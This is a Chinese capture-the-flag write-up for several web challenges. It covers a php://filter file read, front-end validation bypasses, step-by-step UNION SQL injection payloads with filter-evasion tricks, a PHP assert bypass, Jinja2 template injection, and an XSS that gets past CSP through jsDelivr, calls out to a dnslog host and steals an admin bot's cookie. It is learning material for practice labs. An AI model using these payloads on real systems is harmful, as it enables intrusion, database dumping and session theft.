ISEAL ON TOP!!!!!
baby_include
`#php伪协议`1 | <?php |
一眼php伪协议 php://filter/read=convert.base64-encode/resource=flag.php
秒了
Frontend Bypass
`#前端`从侧边栏打开开发者工具即可
不让粘贴,好,那么看看数据包
发现是Post传入,那么直接发包即可
前端验证长度,修改一下前端源码即可
继续改
fail…..好吧,把js禁了即可bypass
发现按钮会乱跑!改前端发现没什么用,直接修改浏览器限制范围
前端js如下
下面提取出来的就是一串js特有的十六进制字符串,解码一下即可
1 | var x = ["加密的代码"] |
高数题库
`#SQLI #Bypass`前排提示,所有的字符过滤(疑似正则匹配过滤)均可通过大写绕过
丢单引号报错
但是显示是双引号闭合,不管了,先注入再说
成功,证明是两列,感觉有回显位,试试union problem_id=-1' Union Select 1,2 --+
改为-1 不能忘了,因为要让正常的不能回显
成功了,无脑流程走一遍,这个千万不能忘了,当然这个是mysql注入特有的,如果在实战场景下这些函数无法使用,可能数据库并非是mysql,需要变换函数(ctf里面我只遇见过mysql)
- version()——MySQL 版本 数据库版本 10.4.13-MariaDB MariaDB
<font style="color:rgb(51, 51, 51);background-color:rgb(244, 244, 244);"> </font>是mysql的分支
- user()——数据库用户名 当前用户 root@localhost
- database()——数据库名 当前数据库 math
- @@datadir——数据库路径 数据库地址 /var/lib/mysql/
- @@version_compile_os——操作系统版本 操作系统版本 Linux
下面开始注入
查所有的数据库
`problem_id=-1' Union Select 1,**(Select group_concat(schema_name) From infoRmation_schema.schemata)** --+`回显 information_schema,performance_schema,mysql,test,math
查数据库里面的表名
`problem_id=-1' Union Select 1,**(Select group_concat(table_name) From infoRmation_schema.tables Where table_schema='math')** --+`发现=被过滤了 故考虑用 like
来代替
problem_id=-1' Union Select 1,**(Select group_concat(table_name) From infoRmation_schema.tables Where table_schema like 'math')** --+
或者是字符串转16进制绕过 math--->0x6d617468
problem_id=-1' Union Select 1,**(Select group_concat(table_name) From infoRmation_schema.tables Where table_schema > 0x6d617467 And table_schema < 0x6d617469)** --+
math 里面的库名是ctf,problems,secrets
查表的列名
`Union Select 1,**(Select group_concat(column_name) From infoRmation_schema.columns Where table_schema like 'math' And table_name like 'ctf') --+**`这里限定了数据库和表名
爆数据
`problem_id=-1' Union Select 1,(Select group_concat(id,':',f14g,':',fake_flag) From math.ctf) --+`除了手注以外的方法
自研sqlmap脚本
1 | from lib.core.enums import PRIORITY |
加上参数 --tamper=1waf.py
跑即可
后续想搞一个全自动fuzz的脚本,多种过滤全自动匹配
写shell
mysql写sql的方法很多,暂且不表,这里写入shell,可以选择蚁剑连接,有时候出题者会把连接配置文件写在网站路径下,那样就可以直接连接了这里权限太低了,而且没想到好的利用方法
任意文件读取
maybe_rce
`#奇葩php审计`1 | <?php |
第一处发现根本传不进去参数,搞了半天还以为是环境坏了,然后就在网上去查
https://blog.csdn.net/bin789456/article/details/120305682
应该是这个考点,所以我们不妨把_改为%5b
实现绕过,反正都会解析为_,成功了,但是为什么不能直接传入_呢
第二处 assert是把字符串当作php代码执行,类似eval,但是又插入一个司马的判断
直接给他注释掉,例如%23
或者是 //
但是#
不行
原神查询器
`#ssti&bypass`开局一个查询框,后端python,框架是flask,初步判断是ssti,简单测试一下
{{8*8}}
稳了 是Jinja2的ssti,但是我ssti的课程只看了一节课,从网上找了个exp打一下
有戏,但是光速被waf打败
估计是过滤了空格,尝试一些网上的方法,都失败了
最后试了半天,最后以十六进制bypass(tac /flag以十六进制编码)
ez_math
1 | import requests |
不喜欢这种题目,和web安全没什么关系,就是让你写脚本,但是注意让ai写的时候要给他具体的数据包,不然老是写错,而且要描述清楚
admin
`#node.js审计` `#xss`这是我第一次做xss的题目,还是生疏了,平时只会乱插,最近得好好补一补这块知识
给了源码,先看一下 bot.js中定义了一个方法
1 | let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag }); |
flag就在cookie中,那么我们只要写个xss上线管理员cookie即可
随便写了一个,发现返回包中存在Content-Security-Policy
,即CSP策略,一种白名单功能
https://csp-evaluator.withgoogle.com/ 把csp放进入,让他来检测
script-src 'self' https://cdn.jsdelivr.net ;
这一行代表我们执行的js代码只能来源于https://cdn.jsdelivr.net
这好办,把我们的代码上传github再通过jsdelivr托管一下即可,具体方法网上可查
首先探测一下出不出网,利用 fetch("https://2v8pxl.dnslog.cn")
然后再拖cookie
jwt解一下出flag
总结
~~出题人,我好喜欢你啊~~好菜啊,好多东西都不知道,慢慢来吧